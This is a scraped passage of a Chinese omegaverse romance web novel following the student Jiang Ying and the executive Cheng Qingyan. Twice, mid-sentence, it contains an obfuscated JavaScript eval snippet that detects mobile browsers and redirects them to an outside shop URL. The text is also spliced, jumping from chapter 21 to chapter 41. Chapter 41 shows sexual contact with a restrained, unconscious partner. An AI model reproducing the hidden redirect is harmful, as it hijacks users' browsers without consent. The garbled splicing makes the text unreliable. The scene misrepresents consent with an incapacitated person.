可她答应了要好好学习…… 向来是好学生的她,第一次体验到了学渣的感觉,为学习而苦恼。 翌日阴天。 天气预报显示晚上可能有小雨。 姜映带了伞,下午最后一堂课上完,和师姐林池意一起去了食堂吃晚饭,她上次帮林池意取了快递,对方要请她吃饭。 随手帮忙的小事情哪用得着请客,但林池意很坚持,她不好一直拒绝,选在了食堂点了碗面。 林池意是omega,今年研二,大姜映两岁,见她只点了一碗面,轻轻叹了口气:“这么替我节约钱?” 姜映一脸真诚:“我今晚本来就想吃面,而且我还加了鸡蛋,没有替师姐节约。” 林池意知道她的性子,也不多说什么,闲聊道:“你们组是不是进青朝杯的半决赛了?” 姜映点头:“是的。” 赛程越到后面,论题的难度会更难,面临的对手都是比拼出来的佼佼者,实力不容小觑。 “别有压力,好好发挥。”林池意没在此时上多聊,片刻后转了话题,说了点实验室的事情。 姜映平时话少,只要在这些上话才多些。 双方都很忙,吃了晚饭就道别了,姜映没有休息的时间,先去教室和队友讨论了下一场的论题,结束后又去了图书馆,提前准备好周末给学生补习用的课件,离开图书馆前她借了几本与omega生理结构相关的专业书籍。 翻看了几页,内容比较晦涩难懂,学起来要花费些功夫,但总比那些令人面红耳赤的视频更容易学。 收拾好东西,姜映背着包走出了图书馆,在门口撑伞时肩膀猛地被撞了一下,没等她开口,撞她那人怒气冲冲道:“你没长眼睛吗!” 姜映看她一眼,淡淡道:“我背上确实没眼睛,看不见你,而且是你撞了我,你应该给我道歉。” 居然让她道歉,撞人者打算争论,她的同伴见有人看过来,拉了拉她,小声道:“算了,多大点事气成这样,别和她一般见识。” “可是我……哎……你别走啊站住!” 姜映还有一堆生理结构的书要研究,时间紧压力大,不想为了这种事浪费时间,懒得理她们,撑着伞走了。 撞人者和同伴骂骂咧咧几句后也走了,片刻后回头看着姜映的背影:“你有没有觉得她有些眼熟?” “眼熟吗,一天见这么多人,可能在哪见过吧。” “也是。” “等等,是有点眼熟,她是不是姜映?” “呵,还真是她。” * 姜映没将这事放心上,回了宿舍快速洗了澡洗了衣服,打开台灯专心致志看起了图书馆借来的书。 这类书籍和她的专业无关,平日里也是医学生借阅,每本如同砖头一般厚实,里面全是密密麻麻的文字。 周青月看见书壳时还以为自己看错了,揉了揉眼睛再次确认自己看到的是什么,不禁在心里感慨姜映的爱好实在是太特别了,拿医学生的专业书当睡前读物看,还看得那么认真。 若是让她睡前看这些,只怕会做噩梦惊醒。 周青月拿出平板,戴上耳机看起了电视剧,时间分分秒秒过去,注意到姜映关了电脑,要上床休息时她才出声,好奇问:“映映你什么时候对医学类的书籍感兴趣了?” “也不是感兴趣,”姜映开水龙头洗手,“随便看看。” 周青月感慨:“你这个随便也太不随便了。” “青月,”姜映想了想问道,“你知道alpha和omega腺体不在同一边吗?” “知道啊。” “怎么知道的?” “记不清楚,可能是生理课听到的,也有可能是以前看小说电视剧知道的。” “那……你能准确找到omega腺体的位置吗?” 若不是知晓她的性 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16904534|192365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 格为人,周青月真会以为她要和她聊些成人话题:“应该能吧。” 姜映坐端正,一脸认真地和她讨论:“为什么是应该?” “我没谈过女朋友啊,你不是知道吗。”周青月属于理论丰富派,实际经验为零。 姜映点头,眨了眨眼睫总结:“所以你也不知道。” 周青月跳起来,反驳:“这话就不对了,我虽然没经验,但是这种事情不是很简单吗,情到深处时凭借本能就行了,得笨成什么样子才会找不到啊哈哈哈哈哈。” 笨成我这样的…… 姜映沮丧,又把关上的书打开,准备继续研究一会儿再去睡觉。 不好笑吗,她怎么不笑啊,看来智商高的人笑点也挺高的,周青月道:“你怎么突然问这些?” 姜映道:“我太笨了,知识不丰富,多了解些总是有用的。” “你还笨?”周青月不服气,“是不是有人眼瞎骂你笨了,成绩比得过你吗,做实验的动手能力比得过吗,你别信这些胡话,你告诉我是谁,我去骂回来。” 姜映眨眨眼,看着她欲言又止,转而道:“没谁,我自己也想多学点知识。” 是这样吗? 周青月还记得前不久姜映因为拒绝了唐沁的表白被骂上校园墙的事,那些人骂得那么过分,姜映也没放在心上,还来安慰她别生气,这次可能也是类似的情况。 唉。 她看了看又开始学习的姜映,一时间没想通为什么会有人说她笨,真的太张狂了。 夜深人静,书页响起轻微的翻动声,直到凌晨一点。 姜映再次关上书,本子上写满了笔记,回头看见周青月已经睡下了,她伸了伸懒腰,也准备上床休息,关灯时指尖麻了几下,又像触电的感觉。 天气凉了,静电确实严重了很多。 姜映躺上床,脑海里巩固着学到的知识,很快睡着了。 约定一周见三次,昨日是第一次,第二次则在后天,也就是周五。 姜映和程卿言在没见面的这两天里没有任何联系,没人主动发过消息,打过电话,如同彻底断了联系。 她对这种状态很满意,除了合同里写明的她应该做的事,她不想和她有别的联系,如此来看,对方和她的想法一样。 两天过得很快,转眼到了周五。 姜映该主动的时候会主动,早晨起床就发了短信:【程小姐早上好,今日我下午五点之后都有空闲的时间,您想我什么时候来找您?】 两小时后,程卿言回复:【还是上次的时间,八点怎么样?】 姜映:【可以的】 程卿言:【学习了吗?】 姜映耳朵有些热:【请您放心,我这次一定会找对位置,不让您操心】 21. 第 21 章 第二十一章 居然主动发消息问见面的事,姜映这个举动有点出乎程卿言的预料,毕竟对方见着自己不是紧张就是脸红,一副怂怂怕怕的模样,还以为对方会等着她去联系她。 若姜映没主动问,其实程卿言今日不打算和她见面,她也没想到上次临时标记的效果有那么好,管的时间比预期要多些,一周见两次就差不多。 不过姜映主动了,也没拒绝的必要,免得打击她的积极性,这次见了过后再调整也行。 程卿言瞧着姜映回复的消息,见小姑娘如此肯定地让她放心,她也没提出质疑了,网上的教程那么多,应该是学得不错的。 年轻alpha对于这种事情,学习能力应该是很强的,不可能让omega一次又一次地亲手带着教。 约定好了时间,她没再去想这件事,上午去了公司。 会议室内坐满了程氏的股东,程卿言身着缎面棕色衬衫,外搭灰色西服走进去,坐到了中心位置,较为严肃的场合无需寒暄,片刻后提了城西科技园项目的投资计划。 如她和余简予预料的那样,遭到的顽固派股东的质疑,并不看好这个项目,明里暗里告诉她不要因为这几年做出些成绩,就太过冒进去投资些难度大的项目,在经济不景气的时候步子得走平稳些,别想着一步冲天,不要伤了集团的根基。 项目投资巨大,又挨着县城的老平房区,涉及到繁琐的拆迁问题,一番争论过后,赞成的人数少,项目暂时没通过。 意料之中的结果,本就是一场恶战,程卿言并没有打算一次就能说服大家。 余简予在开会时话说太多,进了办公室喝了小半瓶苏打水,双手叉腰骂道:“这些老东西分钱的时候比谁都积极,该投资的时候全都成了缩头乌龟。” 真按老东西说的那样走保守路线,最后集团盈利一般,又会说程卿言还是太年轻了,经历的磨练太少,没有带领集团蒸蒸日上,不如有经验的老一辈。 要让这些老东西赞同,要么让程老太太出面镇压,要么找一些与程氏实力差不多的集团合作投资,盈利局面大了,支持的人自然多,即使有人想从中作梗,大部分人也不会和钱过不去。 第一种方法程卿言不会考虑,她做这些项目就是为了让老太太彻底放权给她,受限于人的感觉并不好,只剩下第二种了。 在众多企业中,舒氏集团目前来说是最合适的,但苏家这些年和程家交集不多,目前苏家的掌权人苏敛懿也是个难搞的人物。 再难搞也得搞,已经在着手安排了。 下午三点离开了公司,程卿言回了老宅。 中式园林建筑的宅子占地面积大,经过年岁的洗礼,不仅不显破旧,反而更加有底蕴。 程老太太叫晚辈回来吃饭,目前在碚城的直系晚辈得来,老太太一共三个儿女,程卿言的母亲是老大,已经过世多年;老二最近没在碚城,只有他的儿女过来;老三年纪只比程卿言大了两三岁,目前在碚城大学任教,未婚。 晚饭五点半开始,六点那会儿大家就放下碗筷了,老二的子女十分殷勤,主动邀请老太太去花园散步了。 程老太太将近八十,花白的头发并没有让她显得苍老虚脱,依旧身体健朗精神矍铄,回头问道:“你们要一起吗?” 老三程笠:“我不去了,学生的论文还没改完。” “我过会儿也有事,得早点回去,今天就不陪奶奶您散步了。”程卿言道。 程老太太没有用劝说,她们走后,偌大的客厅就剩下程笠和程卿言两人,一个看着电脑处理论文,一个在手机上出了公司的事情。 各忙各的,暂时没有交谈,片刻后程笠的手机铃声打破了安静,她单手接起来。 “知道了。” “严重吗,人没事吧?” “假条回校再补也行。” 挂断电话后她感慨:“现在的年轻人还是精力太旺盛了。” 程卿言刚好处理完工作,接话:“小姑是觉得自己老了?” “你和我没差多少岁,老什么老,”程笠看着她,“我那句话的重点是现在,我们读大学那会儿哪会闹出这么多事。” 程卿言闲聊:“你学生出什么事了?” “刚才那个是打架进了警局,辅导员和家长已经去捞人了,打电话给我请假的,要去医院住几天,不能来上课了。” "听起来挺严重,大规模的群架?“ “详细情况不清楚,等会儿教务处的老师会在群里通报,你想知道可以看看,”程笠揉了揉眉心,“打架都算情况好的,之前还有赌博□□的被抓了,寝室里生孩子的,总而言之大学生不好管。” 不好管吗? 程卿言眼眸颤了颤,自然而然想到了姜映,勤奋聪明,应该是老师眼中典型好学生。 而且看着纤细文弱,敏感爱哭,肯定没干过打架斗殴之事。 垂眸瞥了眼时间,六点半了,她是时候回去洗澡等人了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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程卿言睁开眼,心口忽然有点微妙的颤动,在这份微妙中莫名生出一种——世间竟然有人独属于她的感觉。 “车开快点。” 小姑娘敏感爱哭,话少正直,别被人欺负了。 她得早点见到她。 40-45 第41章 心软 心软 第四十一章 张阿姨见她脸色都变了,差点没站稳摔着,赶忙伸手扶着她:“没事吧?” 她也没说什么啊,好像只说了姜映是老毛病犯了,几个月就会晕一次,不会对身体造成什么实质性影响,这些话很吓人吗? 怎么这姑娘反应如此大,张阿姨困惑了,随及又想明白了,关心则乱。 看来她对姜映也有些意思,姜映不是单相思。 “没事,”程卿言静了几秒,缓了过来,方才是因为她没有任何心理准备,直面如此浓烈的青竹味,才会那样,这会儿已经适应了,腿虽然有点软,但不至于让她走不动路,她和女生的信息素已经很熟悉了,“不用担心,只是一时没站稳。” 里面还晕一个,要是再摔倒一个,张阿姨真照顾不过来,听她这样说放心了很多,给她指了指姜映的卧室:“你进去看看她吧,我先回隔壁了,有事就叫我一声。” 程卿言应好:“麻烦您了。” “麻烦什么麻烦,都是小事情。”张阿姨摆摆手,关上门走了。 关门声响起后,客厅恢复了安静。 房子面积不大,程卿言环视一眼,大概只有六七十平,生活痕迹少,家具虽然老旧,好在干净整洁。 实话实说,若不是来看姜映,她平时几乎没机会走进这种房子。 程卿言眼里没有嫌弃,甚至带了几分新奇,认真地看了几眼这些对她而言格外陌生的老家电。 这些东西得多少年了,居然还能用得起,哪家良心企业的产品,质量这么好。 若不是屋内alpha的信息素浓度太强烈,扰的她心神不宁,如有实质般用力的抱着她,密不透风地包裹着她,好在她用的是特制的阻隔贴,比市面上售卖的任何一款质量都好,alpha的信息素无法钻进去,这才让她的腺体没受什么影响。 但也不好受,她身心浸泡在其中,浑身逐渐热了起来。 推开卧室门,青竹味更加浓郁,她不敢深呼吸,走动床边柔声道:“姜映。” 女生毫无反应,安静地躺在床上一动不动,清秀白皙的脸此刻泛着异样的红润,额头上覆了细密的汗,好似很难受,眉心紧紧拧着。 程卿言坐在床边,拿纸巾给她擦了擦汗,指腹不小心挨到她柔软的脸颊时,滚烫的温度让她指尖颤了颤。 异常浓郁的信息素,身体过烫的温度,种种迹象表明这是alpha的易感期到了。 处于易感期的alpha,要么使用浓度高的抑制剂缓解,要么得到omeg息素的安抚,这两种是度过易感期最好的方法。 几乎没有人会选择硬抗,太折磨人了。 女生晕倒的原因,程卿言已经知道了,纯粹是易感期到了,难受到晕了过去,陷入了昏睡。 alpha在十五六岁时腺体便开始发育,易感期也会慢慢出现,而姜映在家人看来,在医生看来,甚至在姜映自己看来,她都是信息素无能。 因此都不知道她发热晕倒的原因到底是什么,医院检查不出来原因,见她晕上一天之后就好了,身体也没受到影响,就放心地让她晕。 四五年的时间,无数次易感期,全是硬抗,晕了醒,醒了晕。 本来很容易处理的问题,活生生熬过去,不用想都知道女生受了多大的罪。 可怜兮兮,白受罪。 程卿言伸手抚平她皱着的眉心,眸光怜爱地看着这个小可怜,已经找到了问题的所在,她该如何处理呢。 姜映家里肯定没有alpha专用的抑制剂,隔壁张阿姨家也不会有,近几年抑制剂等一系类医用药剂在市面上出现了很多假冒伪劣的假货,因此国家规定这些药物只能指定的药店和医院可以售卖,楼下的普通药店买不到。 没有抑制剂,那…… 让姜映接着硬抗下去? 也不是不行,反正都抗了几年了,也不差这一次,再说了,这次也抗了好几个小时了,若是用别的方法缓解了,岂不是白抗这几个小时了。 程卿言若有所思,有些走神,掌心传来柔软的触感,但烫得她不舒服,她回神看过去,只见眼眸紧闭着的女生用脸颊不断蹭着她的掌心,像是找到了救命稻草一般,在她想收回手时,会紧紧贴过来。 “姜映?” 没有醒。 只是昏睡中下意识的举动。 程卿言不忍把手收走,主动而轻柔地抚摸着她的脸。 片刻后姜映脸上又冒出了很多薄汗,渐渐浸湿了她的掌心,被她抚平的眉心又拧了起来,紧紧抿着嘴唇。 还有多久才能结束,真的能熬过去吗? 程卿言眼睫颤动,有些于心不忍了,缄默片刻,她起身在姜映房间转了一圈,东西很少,没有她想要的东西,最后将目光落在了架子上挂着的皮带上。 她拿了起来,在手腕上试了两下,触感还能承受,不是很硬材质。 重新走到床边,将alpha扶了起来,瘦薄背的脊靠着床头半坐半躺着,单手束缚着女生的双手将其举起,用皮带困了起来,她贴心地在皮带和女生的手腕之间隔了很多张纸巾,避免磨破皮。 做好这些后就有些累了,喘了几口气休息了半分钟,拿起姜映床头的发圈,将自己的头发挽了起来,露出了后颈。 女人抬手按在后颈腺体的阻隔贴上,闻着卧室里浓郁的青竹味,神色闪过些犹豫,但在看着女生的脸时,还是果断地撕掉了阻隔贴。 没有任何保护的腺体,瞬间变成待宰的羔羊,alpha的信息素毫不客气的覆了上去,腺体颤抖变红,属于她的樱桃味不受控地溢出,攀附在青竹上,紧紧交织着。 程卿言深呼一口气,面色渐红,alpha的信息素太过浓烈,难受得快站不住,上床跪坐到了alpha腿上,面对面坐着。 易感期发作的alpha对omega而言是有一定是危险的,尤其是处于姜映这种神志不清的状态,她这次愿意帮她,给她提供信息素安抚,但她不会将自己放置在危险的中,若是不见女生的手捆着,alpha失控了,omega会有被深层标记的风险。 程卿言不会让她属于任何alpha,她属于她自己,自然不会让任何alpha深层标记她。 即使是她不反感的姜映,也不可以。 或许是omega释放出来的信息素对女生起了作用,姜映缓缓睁开了眼,从昏睡中醒了过来,但神智并没有清醒,眸光朦胧,她的本能让寻到了女人后颈的腺体,用发热的脸颊蹭着她那块肌肤,秀挺的鼻尖,干涸的嘴唇,依次挨了下来,亲昵依恋。 渴求,本能地渴求,但没有omega的命令,她没有咬下去,像是一道设置在她脑子里的固定程序,明明处于神志不清的状态,依旧遵循。 程卿言垂落的发丝随着呼吸颤动着,热意四起,如同误闯了烈火焚烧的炼丹炉,有些难受地将脸埋进了女生颈窝,伸手按在女生后颈的后颈处,用力往前一推的同时颤着声音道。 “咬。” 简洁明了的指令,咬住后颈的腺体,标记牙刺破皮肤,alph息素随之注入进去,到达了腺体内层,顺着经脉蔓延全身。 令人愉悦又难捱之处。 程卿言浑身颤动,紧抓着她的衣服,能明显地感觉到处于易感期的alpha注入到她腺体里的信息素比任何一次都浓烈,多到快承受不住的程度,几分钟后连忙开口道。 “够了,停下。” 程卿言有些恐惧,嗓音沙哑,女生停了下来,标记牙撤离,还没等她缓过来,随之而来的是几滴泪水落在了她的后颈上。 程卿言面色红润:…… 哭什么哭。 无语。 满腔怒火无法发泄,重新将alpha按了回去,纵容她继续,并嘱咐她悠着点,虽然女生不一定听得懂。 一时心软纵容的后果就是她受不住了,青竹味幻化成了泉水,源源不断涌进她的体内,浸泡住她的四肢百骸五脏六腑,渐渐她不满足腺体的接触,那些深夜才会出来的念头通通冒了出来,密密麻麻。 会哭的狗东西。 但程卿言不可能解开女生手上的束缚,咬了咬红唇,眸光晦暗颤动, 抬了抬臀,改变了她的坐姿,她原本坐在女生的双腿上,变成了重心只落于一条腿上,落下紧贴着,如同台风期的海面泛起的波浪,一浪接一浪,波纹前进后循环往复拍摩擦着礁石。 窗户没关紧,留了很小的缝隙透气,但窗帘拉得严实,模糊了窗外的光景,不过帘子不厚,遮光性不强,冬日天黑的早,投进来的光慢慢变暗,卧室里逐渐昏沉。 帘子随风晃动,风起风停,吹散了此起彼伏的呼吸,静得能听见心跳声。 程卿言浑身乏力,静静靠着女生肩上平息着,时间缓缓流逝,待身体里的余热快消散时,她感觉到alpha的身体又缓缓热了起来,开始躁动不安地蹭着她的后颈。 程卿言:…… 三次了,已经三次了,狗东西是想搞死她吗,几年没发泄出来的劲儿一次性全使在她身上,她哪里承受得住。 差不多就得了。 再弄下去,很有可能会诱发她的发热期。 到时候会发生什么,她就完全掌控不了了。 程卿言推开她的脸,但女生好像不依她,哼哼唧唧要贴上来,黏人得不行,她直接挥手,在女生脸上扇了一下。 没用什么劲儿,她这会儿根本没力气,手掌撑着皱巴巴的床单,赶忙从她身上下来,坐到了床边缓了一会儿。 解开姜映手上的皮带,让她重新躺下,扯过被子遮住她的脸。 “睡觉,”她语气不善,“再乱动,信不信我抽你。” 姜映没动了,易感期的难受得到了缓解,精力透支,身心太过疲倦,很快睡了过去。 程卿言深呼一口气,仅靠着窗外的那点光,在昏暗模糊中找到了开关,指点落上去开了灯,光亮笼罩,屋内的状况一览无遗。 凌乱的床单,身上的衬衫和西装裤在磨蹭中也弄得满是褶皱,给女生擦汗以及保护手腕的一堆纸巾也皱巴巴落地了地上,尤其是屋内还有没消散青竹和樱桃融在一起的旖旎味道。 程卿言见了,也觉得这场景过于混乱了,很像轰轰烈烈大做一场之后的凌乱,但她和姜映也没那样搞啊。 怎么乱成这样,她弄乱的? 但她不想动手收拾,她累,她不喜欢干活。 来者是客,哪有客人干活的道理。 程卿言当做没看见,走到窗边打开窗户给屋子透气,拿起手机给秦助理发了消息:【去医院买几支alpha专用的抑制剂,再给我拿一套干净的衣物,包括内衣内裤,然后把这些东西送来姜映家】 秦助理回复消息的速度和她涨工资的速度成正比,秒回:【好的程总,一个小时内送到】 从月泊林那边开车过来,在不堵车的情况下,得开半个多小时,加上买药和取衣服的时间,一个小时内到达的确是极限速度了。 程卿言放下手机,摸了摸姜映的脸颊,还有些热,但不是特别严重,女生的眉心也不再紧皱着了,即使易感期还没过去,肯定也比她刚进屋时好了许多,若是一会儿再严重起来,她就给她打一针抑制剂,她不可能再帮忙了。 狗东西咬这么多次,腺体那块皮肤这会儿火辣辣的。 身上汗淋淋的黏腻感让她很不舒服,程卿言受不了,打开衣柜看了看,眉头微微皱了起来。 姜映上学期间在这里留宿的次数不多,衣服都在寝室,家里的衣服少得可怜,衣柜里几乎是空的。 只挂着一件宽松短袖,一件旧校服,还有两套干净的床单。 程卿言不满地瞥了眼女生,在床单和衣服之间,她不可能选床单,在校服和短袖之间,她哼了一声,拿起了短袖去了浴室。 淋浴器年份也停久的,研究了半分钟才弄明白怎么打开,好在屋内有暖气,不冷。 女人脱掉身上的衣物,浑身的肌肤白里透着粉,她照着镜子看了看后颈,再次骂了句狗东西。 热水落下,浴室内水雾弥漫,洗掉身上的黏腻,尤其是腰腹以下,大腿以上的区域,程卿言抹沐浴露时摸着了那处,手顿了顿,一些不堪入目的画面在脑子里回溯着。 程卿言抿唇,俯身看了一眼,果然被西装裤较为厚实的面料磨红了,怪不得她感觉有点疼。 狗东…… 好吧,这里不能怪姜映,是她裤子面料的问题,但也不能说和姜映毫无关系,如果不是女生一次又一次,她也不会那样。 彻彻底底洗掉身上的泡泡,程卿言没有毛巾,有些不耐烦地用着纸巾擦干身上的水珠,穿上短袖出去了,直接把换下来的衣物丢进垃圾桶。 女生比她高五厘米,短袖也是宽松款,她穿起来很大,下摆快到膝盖了,她穿起来和睡裙差不多。 屋内没安装换风系统,屋内的青竹味没有消散,程卿言不想受影响,从手提包里拿了一张阻隔贴出来,撕开后贴在了后颈腺体处。 她没去卧室,而是在客厅研究起了老家电。 个头那么大的电视,得十多斤吧,是彩色电视吗? 居然还有收音机,看样子应该有二十多年了,接收的都是些什么频道? 姜映家里这些东西真有意思。 程卿言觉得很神奇,看了这些老家电的牌子和型号,兴致勃勃地在手机上查了起来。 手机响了一声,秦助理发的消息:【程总,我已经到楼下了】 程卿言回复:【上来】 秦助理:【好的程总】 程卿言起身去开门,很快,秦助理就爬楼梯上来了,将袋子递给她,她拿来放到一旁的板凳上。 “你下去吧。” 秦助理点头,想了想问道:”要在楼下等着您吗?” 程卿言思忖片刻:“不用,明早来接我就行了,我会给你发消息。” 姜映还没醒,感谢的话她都没听见,做了好事为什么要走,她不兴做好事不留名这一套。 而且,如果夜里姜映的症状又加重了,得有人给她注射抑制剂。 秦助理应好,老板说什么,她就做什么。 她知道这里是姜映家,程卿言和姜映待在一起,不会有危险,她不用一直守着,开车原路返回了。 程卿言从袋子里拿出内衣裤,片刻后将其穿到了身上,忘记让秦助理拿睡衣过来了,因此没换下女生的短袖。 她回卧室看了眼姜映,摸了摸她的温度,不是很热。 目前这种程度的热,只要不反复,就不会很难受。 虽说用了抑制剂,温度能立马降下去,但姜映从前没有用过抑制剂,贸然使用会不会产生副作用。 犹豫片刻,程卿言没给她打抑制剂,目前没有到必须用的地步。 敲门声响起,程卿言回神,走出去开门。 张阿姨来看看情况:“小姜她醒了没?” 程卿言:“还在睡,不过温度已经降了很多了。” 居然降这么快? 心上人陪着就是不一样啊,灵丹妙药。 张阿姨笑了一声,对她的态度更好了:“我已经做好晚饭了,你一起过去吃吧。” 下午消耗体力过多,程卿言的确感觉有些饿了,若是张阿姨不提,她也准备让助理安排餐厅送餐:“会不会太麻烦您了。” 毕竟她和张阿姨不熟。 张阿姨自来熟:“麻烦什么,都是邻居,一个人也是吃,两个人也是吃,人多还热闹些。” 热情到程卿言无法拒绝,也不扭捏,从容地关上门去了张阿姨家里。 刚进屋,一只威风凛凛,气质很像小狗的长毛橘猫,竖着毛绒绒的大尾巴看着她,主动走到她跟前,用尾巴蹭着女人的脚踝,喵喵喵地叫了几声。 倒是和她主人那羞涩腼腆的样子不一样,程卿言笑了一声,主动将它抱了起来,顺着她背上的毛:“柚柚?” 之前姜映给她说过她有一只长毛橘猫叫柚柚。 柚柚用头蹭着她的掌心:”喵~” 张阿姨惊讶,这猫平时脾气虽然不错,不哈人不挠人,但一点也不喜欢陌生人碰她,一般都会躲开。 她感慨说:“不愧是小姜的猫,都喜欢你。” 程卿言笑意更深,放下柚柚,洗手去吃饭了,礼貌问道:“我该怎么称呼您?” 一下午都在忙姜映的事情,并没有时间问张阿姨这些问题。 “你就和小姜一样叫我张阿姨吧,”张阿姨给她夹菜,“你呢,我怎么叫你?” 程卿言先说了自己的名字,而后道:“您可以叫我卿言。” 小程就算了。 从没有人这样叫过她。 听起来有些奇怪。 张阿姨点点头:“你多吃点,锅里还有些没盛起来,别担心不够吃啊。” 程卿言嗯了一声,即使饿了,常年养成的细嚼慢咽的习惯也不会改变,举止优雅得体:“您做饭的手艺真好。” 张阿姨喜笑颜开,和她闲聊着:“我退休之后也没事情做,每天打麻将也累人得很,后来就没怎么打了,开始跟着网上学习做菜,已经学了很多道大菜了,等我明年搬去我女儿那里,正好做给她吃。” 年轻人工作辛苦,压力又大,顿顿吃外卖身体是扛不住的,她得给她女儿养养身体。 “您明年要搬家?” “对呀,我女儿在邻省工作,已经买了房了,装修好了我就过去找她,大概还几个月,”张阿姨说话时看向柚柚,“我最舍不得的就是它了。” 柚柚刚捡回来时巴掌那么大点,在姜映和她的照顾下,几个月的时间已经长的比很多成年猫的体格大了。 程卿言道:“它不和您一起走?” 张阿姨道:“我女儿猫毛过敏,又有鼻炎,带不了它。” 若是能带,姜映肯定会同意,因为张阿姨真心喜欢柚柚,闲暇时间又多,能给猫更好的照顾。 程卿言闲聊:“姜映知道您要搬走了吗?” “我前一阵就给她提过了,她说她会想办法安排好柚柚的,”张阿姨看着她,“卿言你养宠物吗?” 程卿言喝了口鸡汤,点头:“养了两条狗。” 养狗,还是两条。 张阿姨灵光一闪:“之后柚柚若是没有好去处,姜映上学也忙,你如果不介意,把柚柚带去你那里呗。” 程卿言看了眼躺在窝里睡觉的猫:“我倒是不介意,如果姜映有这个需求,柚柚也不反感,可以去我那里。” 她家大,场地宽,环境也好,平时她没在家时,宠物也有阿姨照料,对柚柚而言,确实是个好去处。 张阿姨彻底放下心了,觉得姜映眼光真不错,就是不知道这两人现在在一起了没,还处于暧昧阶段吗,她有些想问,但若是贸然开口,破坏了她们的节奏,就好心办坏事了。 最终还是没问,她和姜映关系不错,即使她之后搬了家,结婚肯定也会请她。 饭后。 程卿言提出帮忙收拾,她虽不喜欢动手,基本的礼貌还是懂的。 张阿姨果断拒绝:“就几个碗而已,我来就行了,你过去看小姜吧。” 她不知道她这个决定有多么明智,若是答应了程卿言帮忙洗碗,家里的几个碗都会被嚯嚯完,噼里啪啦碎掉。 程卿言也没和她争,点了点头:“那就辛苦您了,我先过去了。” 过来是一个人,过去时带上了柚柚,不是她主动的,是柚柚要跟着她,张阿姨也说姜映在家时,柚柚有时候会过去睡觉,两边都有猫窝猫粮,柚柚想睡哪睡哪。 程卿言关上门,拿起逗猫棒陪柚柚玩了会儿,脸上笑意渐浓。 夜已深,柚柚玩累了,躺进猫窝开始睡觉。 程卿言在手机上处理了会儿工作,将近凌晨时去了浴室洗漱,而后进了姜映房间,躺在了床的另一边休息了。 一米五的床并不大,好在她们都瘦,睡相也好,谁也不会打扰谁。 翌日晴天。 暖暖的光穿过窗帘探了进来,落在了被褥上。 姜映卷翘的眼睫颤动,缓缓睁开了眼,平躺在床上看着天花板愣了会儿,脑子有些懵,片刻后才翻身侧躺着。 omega完美无瑕的脸映入眼帘。 脸与脸隔得太近,差点亲上。 姜映瞳孔放大,瞬间清醒,惊恐地往后弹射移动。 “砰”的一声响,从床上摔了下去,顾不上摔着没,立马爬起来,惊恐地看着躺在床上的程卿言,心跳加速。 她们为什么会睡一张床上? 作者有话说: 现在,橙总觉得小姜的易感期累到她了 以后,小姜还会在易感期吃强化剂,橙总得累到天塌了!! 晚安,明天见 第42章 哄着 哄着 第四十二章 姜映的记忆停留在哪? 她记得她和程卿言约定好了周六下午见面,因此她上午先回了趟家,已经几天没见到柚柚了,她有些想念。 还从寝室提了一大袋橘子回来,送到了张阿姨家。 午饭是在张阿姨家里吃的,帮忙收拾好厨房,正准备离开时浑身开始发热,体温逐渐变得异常,意识昏昏沉沉。 和她熟悉的人见她出现这些反应,都知道她老毛病又犯了,在她晕倒前赶忙扶着她去了床上躺着,没一会儿就陷入了昏睡。 中途发生了什么她完全不记得。 醒来床上就多躺了一个人。 程卿言为什么会在她家,为什么会睡在她床上? 姜映心脏砰砰砰地跳,快到有些夸张了,额头上也冒了汗,紧张又迷茫地看着床上的女人。 她除了很小的时候和长辈一起睡过一张床,就再也没和别人一起睡过,更何况是年轻的omega。 姜映局促不安地滚了滚喉咙,深呼一口气,眸光从女人脸上移开,垂眸看自己身上的衣服,虽然皱得不成样,好在是穿了衣服的。 嗯? 她眸光一凝,落在了手腕上,为什么会有几道红痕,像是双手被困住时挣扎出来的痕迹,不过没有破皮,几乎不疼。 以及她的房间为什么这么乱,皱巴巴的纸巾,或是揉成团,或是撕成小碎片,乱七八糟丢在了地上。 她昨天回来才打开的一包纸巾,里面已经没剩下几张了。 还有皮带,一直是挂在衣架上的,怎么跑到了床头柜上。 姜映整个人凌乱了,怀疑她在做梦,用劲儿在大腿上掐了一下, 疼得她眉毛一拧,嘴里“嘶”了一声。 她深呼一口气,再度看向床上躺着的女人,她出声道:“程,程小姐你醒醒。” 嗓音很哑,微微颤抖着。 她清了清嗓子,再叫了一声程小姐。 吵,吵,吵。 还让不让人睡了。 狗东西睡着时很安分,醒来后一直弄出声响,程卿言眉心皱了皱,睁开眼幽怨地看着她,本来想骂人的,但睁开就看见一张过分青涩好看的脸,这张脸此刻还泛着红,我见犹怜,楚楚动人,脾气瞬间散了一大半。 程卿言颇有兴致地看着她的脸,眸光最终落在了alpha薄而柔软的嘴唇上,细细看了几秒,才慢慢坐了起来,被褥随着她的动作,从锁骨往下滑落。 她要起床,也没想别的,直接且自然地掀开了被褥,身上的短袖在她睡觉时,下摆已经卷到了腰腹那块,白皙细腻的大腿以及浅紫色的底裤露了出来。 哐当。 接着她就瞧见了姜映满脸通红地跑出了卧室? 速度特别块,甚至绊到了床脚差点摔了一跤,像有债主追她一样。 程卿言:…… 垂眸看了一眼,她又不是什么都没穿,这不是遮住重要部位了吗,在躲什么。 女人无语片刻,又想到了姜映提过的肌肤裸露羞耻症,看不得别人穿太少。 程卿言摇了摇头,起身脱掉女生的短袖,换上秦助理给她拿来的衣服,这样总行了吧。 事真多。 